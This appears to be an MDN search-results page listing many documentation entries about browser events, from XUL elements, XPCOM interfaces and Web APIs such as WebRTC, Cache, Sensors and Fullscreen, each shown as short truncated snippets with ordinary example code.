... prefwindow.onload type: script code when a window finishes loading, it calls this event handler on the prefwindow element.
...And 4 more matches
tabbrowser - Archive of obsolete content
this is useful for add-ons that need to use events related to tabs in the browser window.
... methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributen...
...s(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata addprogresslistener( listener ) return type: no return value add a progress listener to the browser which will monitor loaded documents.
...And 4 more matches
timepicker - Archive of obsolete content
the change event is fired whenever the time is changed.
... however, as described in mozilla bug #799219, a change event handler may encounter erratic behavior when the time is changed using the keyboard instead of the mouse.
... to avoid this, you can use the workaround described here, i.e., use window.settimeout(actual-event-handler-function, 0); to queue up your event handler to run after the rest of the picker's change event handlers.
...And 4 more matches
titlebar - Archive of obsolete content
elements inside the titlebar usually don't receive any mouse events, so e.g.
...if you don't want this behavior, you can override it by setting allowevents="true" on the titlebar element.
... the titlebar will send a command event after the move is complete.
...And 4 more matches
window - Archive of obsolete content
note: starting in gecko 1.9.2, you can detect when a window is activated or deactivated by watching for the "activate" and "deactivate" events.
... see window activation events.
...this is used to prevent the find bar from being displayed when it's not supported by the content (such as in the add-ons manager tab).
...And 4 more matches
Windows Media in Netscape - Archive of obsolete content
scripting the windows media player control the number of methods and properties that are exposed by the windows media player, including the events that the player throws for handling by scripts in the web page containing the control, are covered in detail by the windows media player sdk.
...r = null; if (window.activexobject) { player = new activexobject("wmplayer.ocx.7"); } else if(window.geckoactivexobject) { player = new geckoactivexobject("wmplayer.ocx.7"); } } catch(e) { ; } if (player) { player.currentplaylist = player.mediacollection.getbyname('preludesteel'); player.controls.play(); } callbacks from within windows media player to web pages: script for event netscape 7.1 supports ie's <script for="activexcontrol" event="activexcontrolevent"> script elements.
...fortunately, windows media player also fires a scriptcommand() event for closed captioning, which means content may update the caption manually with a small piece of javascript.
...And 4 more matches
Audio for Web games - Game development
many browsers will simply ignore any requests made by your game to automatically play audio; instead playback for audio needs to be started by a user-initiated event, such as a click or tap.
...this is usually mitigated against by loading the audio in advance and priming it on a user-initiated event.
... for more passive audio auto play, for example background music that starts as soon as a game loads, one trick is to detect any user initiated event and start playback then.
...And 4 more matches
Advanced text formatting - Learn web development
th: 98%; } body { margin: 10px; background: #f5f9fa; } const textarea = document.getelementbyid('code'); const reset = document.getelementbyid('reset'); const solution = document.getelementbyid('solution'); const output = document.queryselector('.output'); const code = textarea.value; const userentry = textarea.value; function updatecode() { output.innerhtml = textarea.value; } reset.addeventlistener('click', function() { textarea.value = code; userentry = textarea.value; solutionentry = htmlsolution; solution.value = 'show solution'; updatecode(); }); solution.addeventlistener('click', function() { if(solution.value === 'show solution') { textarea.value = solutionentry; solution.value = 'hide solution'; } else { textarea.value = userentry; solution.valu...
...e = 'show solution'; } updatecode(); }); const htmlsolution = '<dl>\n <dt>bacon</dt>\n <dd>the glue that binds the world together.</dd>\n <dt>eggs</dt>\n <dd>the glue that binds the cake together.</dd>\n <dt>coffee</dt>\n <dd>the drink that gets the world running in the morning.</dd>\n <dd>a light brown color.</dd>\n</dl>'; const solutionentry = htmlsolution; textarea.addeventlistener('input', updatecode); window.addeventlistener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.preventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { const scrollpos = textarea.scrolltop; cons...
...th: 98%; } body { margin: 10px; background: #f5f9fa; } const textarea = document.getelementbyid('code'); const reset = document.getelementbyid('reset'); const solution = document.getelementbyid('solution'); const output = document.queryselector('.output'); const code = textarea.value; const userentry = textarea.value; function updatecode() { output.innerhtml = textarea.value; } reset.addeventlistener('click', function() { textarea.value = code; userentry = textarea.value; solutionentry = htmlsolution; solution.value = 'show solution'; updatecode(); }); solution.addeventlistener('click', function() { if(solution.value === 'show solution') { textarea.value = solutionentry; solution.value = 'hide solution'; } else { textarea.value = userentry; solution.valu...
...And 4 more matches
Drawing graphics - Learn web development
we can achieve this using the onload event handler, which will only be invoked when the image has finished loading.
... at the bottom of the javascript, add the following line to once again make the coordinate origin sit in the middle of the canvas: ctx.translate(width/2, height/2); now let's create a new htmlimageelement object, set its src to the image we want to load, and add an onload event handler that will cause the draw() function to fire when the image is loaded: let image = new image(); image.src = 'walk-right.png'; image.onload = draw; now we'll add some variables to keep track of the position the sprite is to be drawn on the screen, and the sprite number we want to display.
...when the mouse moves, we fire a function set as the onmousemove event handler, which captures the current x and y values.
...And 4 more matches
Understanding client-side JavaScript frameworks - Learn web development
framework main features each major javascript framework has a different approach to updating the dom, handling browser events, and providing an enjoyable developer experience.
...react interactivity: events and state with our component plan worked out, it's now time to start updating our app from a completely static ui to one that actually allows us to interact and change things.
... in this article we'll do this, digging into events and state along the way.
...And 4 more matches
Experimental features in Firefox
nightly 73 no developer edition 73 no beta 73 no release 73 no preference name dom.webgpu.enabled html dom api global event: beforeinput the global beforeinput event is sent to an <input> element—or any element whose contenteditable attribute is enabled—immediately before the element's value changes.
... nightly 74 no developer edition 74 no beta 74 no release 74 no preference name dom.input_events.beforeinput.enabled htmlmediaelement method: setsinkid() htmlmediaelement.setsinkid() allows you to set the sink id of an audio output device on an htmlmediaelement, thereby changing where the audio is being output.
...it also supports events to monitor changes to this information.
...And 4 more matches
Cross Process Object Wrappers
for example, this frame script sends a dom node to chrome when the user clicks it, as the clicked property of the third argument: // frame script addeventlistener("click", function (event) { sendasyncmessage("my-e10s-extension-message", {}, { clicked : event.target }); }, false); in the chrome script, the dom node is now accessible through a cross process object wrapper, as a property of the objects property of the message.
... bidirectional cpows a common pattern is for chrome code to access content objects and add event listeners to them.
...this means that if content passes a cpow to the chrome process, the chrome process can synchronously pass objects (such as event listener functions) into functions defined in the cpow.
...And 4 more matches
mozbrowserasyncscroll
the mozbrowserasyncscroll event is fired when the content of a browser <iframe> is scrolled.
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... bubbles read only boolean whether the event normally bubbles or not.
...And 4 more matches
mozbrowserloadstart
the mozbrowserloadstart event is fired when the browser <iframe> starts to load a new page.
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree).
... type read only domstring the type of event.
...And 4 more matches
mozbrowsermetachange
the mozbrowsermetachange event is fired when a <meta> element related to web applications is added, removed or changed.
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... bubbles read only boolean whether the event normally bubbles or not.
...And 4 more matches
mozbrowsershowmodalprompt
the mozbrowsershowmodalprompt event is fired when the content of a browser <iframe> calls the window.alert(), window.confirm(), or window.prompt() methods.
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... bubbles read only boolean whether the event normally bubbles or not.
...And 4 more matches
MozScrolledAreaChanged
the mozscrolledareachanged event is fired when the document view has been scrolled or resized.
...this event, introduced in gecko 1.9.2, is fired whenever either or both of these values change.
... specification mozilla specific interface uievent bubbles yes cancelable yes target defaultview, document default action none properties property type description targetread only eventtarget the event target (the topmost target in the dom tree).
...And 4 more matches
NSPR Poll Method
in_flags [input argument] the in_flags argument specifies the events at the top layer of the i/o layer stack that the caller is interested in.
... for pr_recv, you should pass pr_poll_read as the in_flags argument to the poll method for pr_send, you should pass pr_poll_write as the in_flags argument to the poll method out_flags [output argument] if an i/o layer is ready to satisfy the i/o request defined by in_flags without involving the underlying network transport, its poll method sets the corresponding event in *out_flags on return.
...if the caller wishes to test for read ready (that is, pr_poll_read is set in in_flags) and the layer has input data buffered, the poll method would set the pr_poll_read event in *out_flags.
...And 4 more matches
nsIAppStartup
getstartupinfo() returns a javascript object with events from startup and the timestamps indicating when they occurred.
...keys are the event names and their values are the times.
... events that didn't occur are not in the object.
...And 4 more matches
nsIClipboardDragDropHooks
use this to do things such as prevent a drag from starting, adding or removing data and flavors, or preventing the drop.
... method overview boolean allowdrop(in nsidomevent event, in nsidragsession session); boolean allowstartdrag(in nsidomevent event); boolean oncopyordrag(in nsidomevent aevent, in nsitransferable trans); boolean onpasteordrop(in nsidomevent event, in nsitransferable trans); methods allowdrop() tells gecko whether a drop is allowed on this content area.
... boolean allowdrop( in nsidomevent event, in nsidragsession session ); parameters event the dom event (drag gesture).
...And 4 more matches
nsIDOMNSHTMLDocument
inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void captureevents(in long eventflags); void clear(); boolean execcommand(in domstring commandid, in boolean doshowui, in domstring value); boolean execcommandshowhelp(in domstring commandid); obsolete since gecko 14.0 domstring getselection(); nsidomdocument open(in acstring acontenttype, in boolean areplace); boolean querycommandenabled(in domstring commandid); boolean querycommandindeterm(in domstring commandid); ...
... boolean querycommandstate(in domstring commandid); boolean querycommandsupported(in domstring commandid); domstring querycommandtext(in domstring commandid); obsolete since gecko 14.0 domstring querycommandvalue(in domstring commandid); void releaseevents(in long eventflags); void routeevent(in nsidomevent evt); void write(); obsolete since gecko 2.0 void writeln(); obsolete since gecko 2.0 attributes attribute type description alinkcolor domstring same as body.alink bgcolor domstring same as body.bgcolor compatmode domstring returns "backcompat" if the document is in quirks mode or "css1compat" if the document is in full standards or almost standards mode.
...obsolete since gecko 6.0 methods captureevents() provided for compatibility with netscape 4.x, but does not actually do anything.
...And 4 more matches
nsIDOMOfflineResourceList
onchecking nsidomeventlistener an event listener to be called when fetching the application cache manifest and checking for updates.
... onerror nsidomeventlistener an event listener to be called when an error occurs during the caching process.
... onnoupdate nsidomeventlistener an event listener to be called when there is no update to download.
...And 4 more matches
nsIHTMLEditor
: nsisupports last changed in gecko 5.0 (firefox 5.0 / thunderbird 5.0 / seamonkey 2.2) method overview void adddefaultproperty(in nsiatom aproperty, in astring aattribute, in astring avalue); void addinsertionlistener(in nsicontentfilter infilter); void align(in astring aalign); boolean breakisvisible(in nsidomnode anode); boolean candrag(in nsidomevent aevent); void checkselectionstateforanonymousbuttons(in nsiselection aselection); nsidomelement createanonymouselement(in astring atag, in nsidomnode aparentnode, in astring aanonclass, in boolean aiscreatedhidden); nsidomelement createelementwithdefaults(in astring atagname); void decreasefontsize(); void dodrag(in nsidomevent aevent); void g...
... void getlistitemstate(out boolean amixed, out boolean ali, out boolean adt, out boolean add); void getliststate(out boolean amixed, out boolean aol, out boolean aul, out boolean adl); astring getparagraphstate(out boolean amixed); nsidomelement getselectedelement(in astring atagname); nsidomelement getselectioncontainer(); void ignorespuriousdragevent(in boolean aignorespuriousdragevent); void increasefontsize(); void indent(in astring aindent); void insertelementatselection(in nsidomelement aelement, in boolean adeleteselection); void insertfromdrop(in nsidomevent aevent); void inserthtml(in astring ainputstring); void inserthtmlwithcontext(in astring ainputstring, in astring acontextstr, ...
... boolean candrag( in nsidomevent aevent ); parameters aevent return value checkselectionstateforanonymousbuttons() checks if the anonymous nodes created by the html editor have to be refreshed or hidden depending on a possible new state of the selection.
...And 4 more matches
XPCOM Interface Reference by grouping
nsidomclientrect nsidomelement nsidomhtmlaudioelement nsidomhtmlformelement nsidomhtmlmediaelement nsidomhtmlsourceelement nsidomhtmltimeranges nsidomjswindow nsidomnode nsidomnshtmldocument nsidomstorageitem nsidomstoragemanager nsidomwindow nsidomwindow2 nsidomwindowinternal nsidomwindowutils nsidynamiccontainer nsieditor event nsidomevent nsidomeventgroup nsidomeventlistener nsidomeventtarget nsidommousescrollevent nsidommoztouchevent nsidomorientationevent nsidomprogressevent nsidomsimplegestureevent nsidragdrophandler nsidragservice nsidragsession html nsiaccessibilityservice nsiaccessiblecoordinatetype nsiaccessibledocument nsiaccessibleedita...
...bletext nsiaccessibleevent nsiaccessiblehyperlink nsiaccessiblehypertext nsiaccessibleimage nsiaccessibleprovider nsiaccessibleretrieval nsiaccessiblerole nsiaccessiblescrolltype nsiaccessibleselectable nsiaccessiblestates nsiaccessibletable nsiaccessibletext nsiaccessibletreecache nsiaccessiblevalue nsiaccessnode nsisyncmessagesender script nsiscriptableunescapehtml nsiscriptableunicodeconverter nsiscripterror nsiscripterror2 stylesheet nsistylesheetservice url nsiuri nsiurl util nsidomserializer nsidomxpathevaluator nsidomxpathexception nsidomxpathexpression nsidomxpathresult xslt nsixsltexception nsixsltprocessor download ...
... nsidownload nsidownloadmanager nsidownloadprogresslistener element internal nsiworker nsiworkerglobalscope nsiworkermessageevent nsiworkermessageport nsiworkerscope tree nsitreeboxobject nsitreecolumn nsitreecolumns nsitreecontentview nsitreeselection nsitreeview xform nsixformsmodelelement nsixformsnsinstanceelement nsixformsnsmodelelement xmlhttprequest nsixmlhttprequesteventtarget favicon nsifavicondatacallback nsifaviconservice frame nsichromeframemessagemanager nsiframeloader nsiframeloaderowner nsiframemessagelistener nsiframemessagemanager interface nsijsxmlhttprequest jetpack nsijetpack nsijetpackservice offli...
...And 4 more matches
Debugger.Source - Firefox Developer Tools
for example, an html document can contain javascript in multiple <script> elements and event handler content attributes.
... source belongs to a dom element if it is an event handler content attribute (that is, if it is written out in the markup text as an attribute value).
... source belongs to a dom element if it was assigned to one of the element’s event handler idl attributes as a string.
...And 4 more matches
AudioScheduledSourceNode.onended - Web APIs
the onended event handler for the audioscheduledsourcenode interface specifies an eventhandler to be executed when the ended event occurs on the node.
... this event is sent to the node when the concrete interface (such as audiobuffersourcenode, oscillatornode, or constantsourcenode) determines that it has stopped playing.
... the ended event is only sent to a node configured to loop automatically when the node is stopped using its stop() method.
...And 4 more matches
Cache - Web APIs
WebAPICache
var cache_version = 1; var current_caches = { font: 'font-cache-v' + cache_version }; self.addeventlistener('activate', function(event) { // delete all caches that aren't named in current_caches.
... var expectedcachenamesset = new set(object.values(current_caches)); event.waituntil( caches.keys().then(function(cachenames) { return promise.all( cachenames.map(function(cachename) { if (!expectedcachenamesset.has(cachename)) { // if this cache name isn't present in the set of "expected" cache names, then delete it.
... console.log('deleting out of date cache:', cachename); return caches.delete(cachename); } }) ); }) ); }); self.addeventlistener('fetch', function(event) { console.log('handling fetch event for', event.request.url); event.respondwith( caches.open(current_caches.font).then(function(cache) { return cache.match(event.request).then(function(response) { if (response) { // if there is an entry in the cache for event.request, then response will be defined // and we can just return it.
...And 4 more matches
DataTransfer.dropEffect - Web APIs
for the dragenter and dragover events, dropeffect will be initialized based on what action the user is requesting.
...within event handlers for dragenter and dragover events, dropeffect should be modified if a different action is desired than the action that the user is requesting.
... for the drop and dragend events, dropeffect will be set to the action that was desired, which will be the value dropeffect had after the last dragenter or dragover event.
...And 4 more matches
Using light sensors - Web APIs
ambient light events give a web application access to a device's ambient light sensor to detect changes in light intensity.
... when the light sensor of the device detects a change in light intensity, the browser is notified of the change and fires a devicelightevent event.
... the event gives information about the light intensity of the device's environment.
...And 4 more matches
Guide to the Fullscreen API - Web APIs
notification when fullscreen mode is successfully engaged, the document which contains the element receives a fullscreenchange event.
... when fullscreen mode is exited, the document again receives a fullscreenchange event.
... note that the fullscreenchange event doesn't provide any information itself as to whether the document is entering or exiting fullscreen mode, but if the document has a non null fullscreenelement, you know you're in fullscreen mode.
...And 4 more matches
HTMLInputElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...4"/><a xlink:href="/docs/web/api/htmlinputelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlinputelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties properties related to the parent form form read only htmlformelement object: returns a reference to the parent <form> element.
...in this case, it also fires an invalid event at the element.
...And 4 more matches
HTMLSelectElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
.../><a xlink:href="/docs/web/api/htmlselectelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlselectelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface inherits the properties of htmlelement, and of element and node.
...if the element fails its constraints, the browser fires a cancelable invalid event at the element (and returns false).
...And 4 more matches
IDBTransaction.onabort - Web APIs
the onabort event handler of the idbtransaction interface handles the abort event, fired, when the current transaction is aborted via the idbtransaction.abort method.
... syntax transaction.onabort = function(event) { ...
...note also the functions attached to transaction event handlers to report on the outcome of the transaction opening in the event of success or failure.
...And 4 more matches
IDBTransaction.onerror - Web APIs
the onerror event handler of the idbtransaction interface handles the error event, fired when a request returns an error and bubbles up to the transaction object.
... syntax transaction.onerror = function(event) { ...
...note also the functions attached to transaction event handlers to report on the outcome of the transaction opening in the event of success or failure.
...And 4 more matches
MSCandidateWindowShow - Web APIs
general info synchronous no bubbles no cancelable no note windows 8.1 and windows 7 imes for certain languages on internet explorer for the desktop might not support this event.
... on internet explorer in the new windows ui, this event is supported in windows 8.1 imes of all languages.
... syntax event property object.oncandidatewindowshow = handler; addeventlistener method object.addeventlistener("mscandidatewindowshow", handler, usecapture) parameters pevtobj [in] type: ihtmleventobj pointer to an ihtmleventobj interface for the current event.
...And 4 more matches
MediaRecorder.start() - Web APIs
then, each time that amount of media has been recorded, an event will be delivered to let you act upon the recorded media, while a new blob is created to record the next slice of the media assuming the mediarecorder's state is inactive, start() sets the state to recording, then begins capturing media from the input stream.
...each time a blob is filled up to that point (the timeslice duration or the end-of-media, if no slice duration was provided), a dataavailable event is sent to the mediarecorder with the recorded data.
...a final dataavailable event is sent to the mediarecorder, followed by a stop event.
...And 4 more matches
MediaSource - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...oke="#d4dde4"/><a xlink:href="/docs/web/api/mediasource" target="_top"><rect x="151" y="1" width="110" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="206" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">mediasource</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor mediasource() constructs and returns a new mediasource object with no associated source buffers.
... event handlers mediasource.onsourceclose the event handler for the sourceclose event.
...And 4 more matches
PaymentRequest.onshippingaddresschange - Web APIs
the onshippingaddresschange event of the paymentrequest interface is fired whenever the user changes their shipping address, including when an address is added by the user for the first time.
... syntax paymentrequest.addeventlistener('shippingaddresschange', shippingaddresschangeevent => { ...
... }); paymentrequest.onshippingaddresschange = function(shippingaddresschangeevent) { ...
...And 4 more matches
PaymentRequest.onshippingoptionchange - Web APIs
the onshippingoptionchange event of the paymentrequest interface is fired whenever the user changes a shipping option.
... syntax paymentrequest.addeventlistener('shippingoptionchange', shippingoptionchangeevent => { ...
... }); paymentrequest.onshippingoptionchange = function(shippingoptionchangeevent) { ...
...And 4 more matches
RTCPeerConnection.onicecandidate - Web APIs
the rtcpeerconnection property onicecandidate property is an eventhandler which specifies a function to be called when the icecandidate event occurs on an rtcpeerconnection instance.
... syntax rtcpeerconnection.onicecandidate = eventhandler; value this should be set to a function which you provide that accepts as input an rtcpeerconnectioniceevent object representing the icecandidate event.
... the function should deliver the ice candidate, whose sdp can be found in the event's candidate property, to the remote peer through the signaling server.
...And 4 more matches
RTCPeerConnection.onnegotiationneeded - Web APIs
the rtcpeerconnection interface's onnegotiationneeded property is an eventlistener which specifies a function which is called to handle the negotiationneeded event when it occurs on an rtcpeerconnection instance.
... this event is fired when a change has occurred which requires session negotiation.
... most commonly, the negotiationneeded event is fired after a send track is added to the rtcpeerconnection.
...And 4 more matches
RTCPeerConnection.onremovestream - Web APIs
the removestream event has been removed from the webrtc specification in favor of the existing removetrack event on the remote mediastream and the corresponding mediastream.onremovetrack event handler property of the remote mediastream.
... the rtcpeerconnection api is now track-based, so having zero tracks in the remote stream is equivalent to the remote stream being removed and the old removestream event.
... the rtcpeerconnection.onremovestream event handler is a property containing the code to execute when the removestream event, of type mediastreamevent, is received by this rtcpeerconnection.
...And 4 more matches
Sensor APIs - Web APIs
let accelerometer = null; try { accelerometer = new accelerometer({ referenceframe: 'device' }); accelerometer.addeventlistener('error', event => { // handle runtime errors.
... if (event.error.name === 'notallowederror') { // branch to code for requesting permission.
... } else if (event.error.name === 'notreadableerror' ) { console.log('cannot connect to the sensor.'); } }); accelerometer.addeventlistener('reading', () => reloadonshake(accelerometer)); accelerometer.start(); } catch (error) { // handle construction errors.
...And 4 more matches
SharedWorkerGlobalScope - Web APIs
properties this interface inherits properties from the workerglobalscope interface, and its parent eventtarget, and therefore implements properties from windowtimers, windowbase64, and windoweventhandlers.
... event handlers this interface inherits event handlers from the workerglobalscope interface, and its parent eventtarget, and therefore implements event handlers from windowtimers, windowbase64, and windoweventhandlers.
... sharedworkerglobalscope.onconnect is an eventhandler representing the code to be called when the connect event is raised — that is, when a messageport connection is opened between the associated sharedworker and the main thread.
...And 4 more matches
SourceBuffer - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...e="#d4dde4"/><a xlink:href="/docs/web/api/sourcebuffer" target="_top"><rect x="151" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="211" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">sourcebuffer</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties sourcebuffer.appendwindowend controls the timestamp for the end of the append window.
... event handlers sourcebuffer.onabort fired whenever sourcebuffer.appendbuffer() or sourcebuffer.appendstream() is ended by a call to sourcebuffer.abort().
...And 4 more matches
Touch.target - Web APIs
WebAPITouchtarget
summary returns the element (eventtarget) on which the touch contact started when it was first placed on the surface, even if the touch point has since moved outside the interactive area of that element or even been removed from the document.
... note that if the target element is removed from the document, events will still be targeted at it, and hence won't necessarily bubble up to the window or document anymore.
...the touch.target property is an element (eventtarget) on which a touch point is started when contact is first placed on the surface.
...And 4 more matches
Simple color animation - Web APIs
this time we put the webgl function calls within a timer event handler.
... a click event handler additionally enables the basic user interaction of starting and stopping the animation.
...</canvas> <button id="animation-onoff"> press here to <strong>[verb goes here]</strong> the animation </button> body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none; background-color : black; } button { display : inline-block; font-size : inherit; margin : auto; padding : 0.6em; } window.addeventlistener("load", function setupanimation (evt) { "use strict" window.removeeventlistener(evt.type, setupanimation, false); // a variable to hold a timer that drives the animation.
...And 4 more matches
Using WebRTC data channels - Web APIs
creating a data channel the underlying data transport used by the rtcdatachannel can be created in one of two ways: let webrtc create the transport and announce it to the remote peer for you (by causing it to receive a datachannel event).
... the rtcdatachannel object is returned immediately by createdatachannel(); you can tell when the connection has been made successfully by watching for the open event to be sent to the rtcdatachannel.
... let datachannel = pc.createdatachannel("myapp channel"); datachannel.addeventlistener("open", (event) => { begintransmission(datachannel); }); manual negotiation to manually negotiate the data channel connection, you need to first create a new rtcdatachannel object using the createdatachannel() method on the rtcpeerconnection, specifying in the options a negotiated property set to true.
...And 4 more matches
Writing WebSocket client applications - Web APIs
connection errors if an error occurs while attempting to connect, first a simple event with the name error is sent to the websocket object (thereby invoking its onerror handler), and then the closeevent is sent to the websocket object (thereby invoking its onclose handler) to indicate the reason for the connection's closing.
... the browser may also output to its console a more descriptive error message as well as a closing code as defined in rfc 6455, section 7.4 through the closeevent.
...we can at least be sure that attempting to send data only takes place once a connection is established by defining an onopen event handler to do the work: examplesocket.onopen = function (event) { examplesocket.send("here's some text that the server is urgently awaiting!"); }; using json to transmit objects one handy thing you can do is use json to send reasonably complex data to the server.
...And 4 more matches
Controlling multiple parameters with ConstantSourceNode - Web APIs
now let's look at the setup() function, which is our handler for the window's load event; it handles all the initialization tasks that require the dom to be in place.
... function setup() { context = new (window.audiocontext || window.webkitaudiocontext)(); playbutton = document.queryselector("#playbutton"); volumecontrol = document.queryselector("#volumecontrol"); playbutton.addeventlistener("click", toggleplay, false); volumecontrol.addeventlistener("input", changevolume, false); gainnode1 = context.creategain(); gainnode1.gain.value = 0.5; gainnode2 = context.creategain(); gainnode3 = context.creategain(); gainnode2.gain.value = gainnode1.gain.value; gainnode3.gain.value = gainnode1.gain.value; volumecontrol.value = gainnode1.gain.value; constantnode = context.createconstantsource(); constantnode.connect(gainnode2.gain); constantnode.connect(gainnode3.gain); constantnode.start(); gainnode1.connect(context.destination)...
...; gainnode2.connect(context.destination); gainnode3.connect(context.destination); } window.addeventlistener("load", setup, false); first, we get access to the window's audiocontext, stashing the reference in context.
...And 4 more matches
Window.ondragdrop - Web APIs
WebAPIWindowondragdrop
summary an event handler for drag and drop events sent to the window.
... syntax window.ondragdrop = funcref; window.addeventlistener("dragdrop", funcref, usecapturing); funcref the event handler function to be registered.
... the window.ondragdrop property and the ondragdrop attribute are not implemented in gecko (bug 112288), you have to use addeventlistener.
...And 4 more matches
ARIA: switch role - Accessibility
required javascript features handler for click events when the user clicks on the switch widget, a click event is fired, which must be handled in order to change the state of the widget.
... changing the aria-checked attribute when a click event is fired on the switch widget, the handler must change the value of the aria-checked attribute from true to false, or vice versa.
... when the aria-checked attribute's value changes, an accessible event is fired using the system's accessibility api if one is available and it supports the switch role.
...And 4 more matches
touch-action - CSS: Cascading Style Sheets
an application using pointer events will receive a pointercancel event when the browser starts handling a touch gesture.
...applications using touch events disable the browser handling of gestures by calling preventdefault(), but should also use touch-action to ensure the browser knows the intent of the application before any event listeners have been invoked.
...disabling double-tap to zoom removes the need for browsers to delay the generation of click events when the user taps the screen.
...And 4 more matches
Video player styling basics - Developer guides
'unmute' : 'mute'); } } this function is then called by the relevant event handlers: video.addeventlistener('play', function() { changebuttonstate('playpause'); }, false); video.addeventlistener('pause', function() { changebuttonstate('playpause'); }, false); stop.addeventlistener('click', function(e) { video.pause(); video.currenttime = 0; progress.value = 0; // update the play/pause button's 'data-state' which allows the correct button image to be s...
...et via css changebuttonstate('playpause'); }); mute.addeventlistener('click', function(e) { video.muted = !video.muted; changebuttonstate('mute'); }); you might have noticed that there are new handlers where the play and pause events are reacted to on the video.
...if a user uses the default controls, the defined media api events — such as play and pause — are raised so this can be taken advantage of to ensure that the custom control buttons are kept in sync.
...And 4 more matches
HTML5 - Developer guides
WebGuideHTMLHTML5
html5 cheat sheet a handy html 5 cheat sheet for beginners who want to master html 5, its elements, event attributes and compatibility.
... server-sent events allows a server to push events to a client, rather than the classical paradigm where the server could send data only in response to a client's request.
... online and offline events firefox 3 supports whatwg online and offline events, which let applications and extensions detect whether or not there's an active internet connection, as well as to detect when the connection goes up and down.
...And 4 more matches
